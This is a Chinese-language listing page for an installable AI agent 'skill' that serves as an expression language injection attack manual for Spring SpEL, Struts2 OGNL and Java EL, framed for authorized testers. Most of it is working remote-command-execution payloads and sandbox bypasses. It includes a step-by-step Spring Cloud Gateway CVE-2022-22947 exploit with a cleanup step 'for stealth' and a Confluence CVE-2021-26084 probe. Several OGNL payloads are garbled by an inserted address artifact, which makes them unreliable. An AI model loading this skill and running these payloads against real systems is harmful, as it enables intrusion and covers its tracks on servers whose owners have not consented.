关于 expression-language-injection
面向授权安全测试人员的 Java 表达式语言注入技能,涵盖 SpEL、OGNL 和 Java EL,并提供检测思路、攻击路径与沙箱绕过参考。
主要功能
- 01涵盖 SpEL、OGNL 和 Java EL
- 02多语法检测探针
- 03按框架整理攻击路径
- 04沙箱绕过技术
- 05CVE 与载荷参考
适用场景
- 01识别 Java 应用中的表达式求值器
- 02评估 Spring 或 Struts2 注入问题
- 03查阅已知 CVE 利用路径
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill expression-language-injection安装后在 Claude Code 中输入/expression-language-injection确认已加载。
详细介绍
技能:表达式语言注入——专家攻击手册
AI 加载指令:涵盖 SpEL(Spring)、OGNL(Struts2)和 Java EL(JSP/JSF)的专家级 EL 注入技术。与 SSTI 不同,EL 注入的目标是 Java 框架中的表达式求值器,而非模板引擎。涵盖沙箱绕过、
_memberAccess操纵、actuator 滥用和真实 CVE 攻击链。
0. 相关路由
- ssti-server-side-template-injection 用于模板引擎(Jinja2、FreeMarker、Twig)——攻击面不同
- jndi-injection 用于 EL 求值触发 JNDI 查找的情况
关键区别:SSTI 的目标是模板渲染引擎;EL 注入的目标是嵌入 Java 框架中的表达式求值器。二者使用相同的检测探针(${7*7}),但利用方式不同。
1. 检测——多态探针
${7*7} → 49 = SpEL, OGNL, or Java EL
#{7*7} → 49 = SpEL (alternative syntax) or JSF EL
%{7*7} → 49 = OGNL (Struts2)
${T(java.lang.Math).random()} → random float = SpEL confirmed
%{#context} → object dump = OGNL confirmed
区分方法
对 ${7*7} 的响应 | 对 %{7*7} 的响应 | 引擎 |
|---|---|---|
| 49 | 字面量 %{7*7} | SpEL 或 Java EL |
字面量 ${7*7} | 49 | OGNL(Struts2) |
| 49 | 49 | 两者可能都已启用 |
2. SpEL(Spring 表达式语言)
SpEL 的出现位置
@Value("${...}")注解- Spring Security 表达式(
@PreAuthorize) - Spring Cloud Gateway 路由谓词和过滤器
- Thymeleaf
th:text="${...}"(与__${...}__预处理结合时) - 使用 SpEL 的 Spring Data
@Query
通过 Runtime.exec 实现 RCE
${T(java.lang.Runtime).getRuntime().exec("id")}
使用 Commons IO 捕获输出的 RCE
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
使用 Spring StreamUtils 捕获输出的 RCE
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
ProcessBuilder(Runtime 被阻止时的替代方案)
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
Spring Cloud Gateway——CVE-2022-22947
通过 actuator 添加包含恶意 SpEL 过滤器的路由来利用:
# Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}
# Step 2: Refresh routes to apply
POST /actuator/gateway/refresh
# Step 3: Trigger the route
GET /hackpath
# Response header "Result" contains command output
# Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh
SpEL 沙箱绕过
使用 SimpleEvaluationContext(限制 T() 运算符)时:
// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}
3. OGNL(对象图导航语言)
OGNL 的出现位置
- Apache Struts2——主要的 OGNL 使用方
- Confluence Server——在特定请求路径中使用 OGNL
- 任何使用
ognl.Ognl.getValue()或ognl.Ognl.setValue()的 Java 应用
基本 RCE
%{(#cmd='id').(#[email protected]@getRuntime()).(#rt.exec(#cmd))}
Struts2 沙箱绕过——操纵 _memberAccess
Struts2 通过 SecurityMemberAccess 限制 OGNL。经典绕过方法是清除限制:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
清除 Struts2 OgnlUtil 黑名单
较新版本的 Struts2 使用类和包黑名单。通过清除 excludedClasses 和 excludedPackageNames 绕过:
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#[email protected]@getRuntime().exec(#cmd))}
重要的 Struts2 CVE
| CVE | 向量 | 载荷位置 |
|---|---|---|
| S2-045 (CVE-2017-5638) | Content-Type 标头 | Content-Type 中的 %{...} |
| S2-046 (CVE-2017-5638) | Multipart 文件名 | 上传文件名中的 OGNL |
| S2-016 (CVE-2013-2251) | redirect: / redirectAction: 前缀 | URL 参数 |
| S2-048 (CVE-2017-9791) | Struts Showcase | 带 OGNL 的 ActionMessage |
| S2-057 (CVE-2018-11776) | Namespace OGNL | URL 路径 |
Confluence OGNL——CVE-2021-26084
Confluence Server 允许通过 queryString 或 action 参数注入 OGNL:
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL-decoded: \u0027+{3*3}+\u0027
# If response contains 9 → confirmed
# Escalate to Runtime.exec for RCE
4. Java EL(JSP / JSF)
Java EL 的出现位置
- JSP 页面:
${expression}和#{expression} - JSF(JavaServer Faces):值绑定和方法绑定
- 自定义标签库
RCE 载荷
// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}
// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}
// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
5. 检测方法
Input reflected and ${7*7} returns 49?
├── Java application?
│ ├── Struts2? → Try %{...} OGNL payloads
│ │ └── Check Content-Type injection (S2-045)
│ ├── Spring? → Try T(java.lang.Runtime) SpEL
│ │ └── Check /actuator/gateway (Spring Cloud Gateway)
│ ├── Confluence? → Try OGNL via action parameters
│ └── JSP/JSF? → Try Java EL payloads
│
├── Error messages reveal framework?
│ ├── "ognl.OgnlException" → OGNL
│ ├── "SpelEvaluationException" → SpEL
│ └── "javax.el.ELException" → Java EL
│
└── Blocked by sandbox?
├── OGNL: clear _memberAccess / excludedClasses
├── SpEL: reflection bypass for SimpleEvaluationContext
└── Try alternative exec methods (ProcessBuilder, ScriptEngine)
6. 快速参考
# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}
# OGNL RCE (Struts2):
%{(#[email protected]@getRuntime()).(#rt.exec('id'))}
# OGNL with sandbox bypass:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#[email protected]@getRuntime()).(#rt.exec('id'))}
# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# Confluence CVE-2021-26084 probe:
queryString=\u0027%2b{3*3}%2b\u0027
# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x → SpEL in filter args
POST /actuator/gateway/refresh
评论
支持 Markdown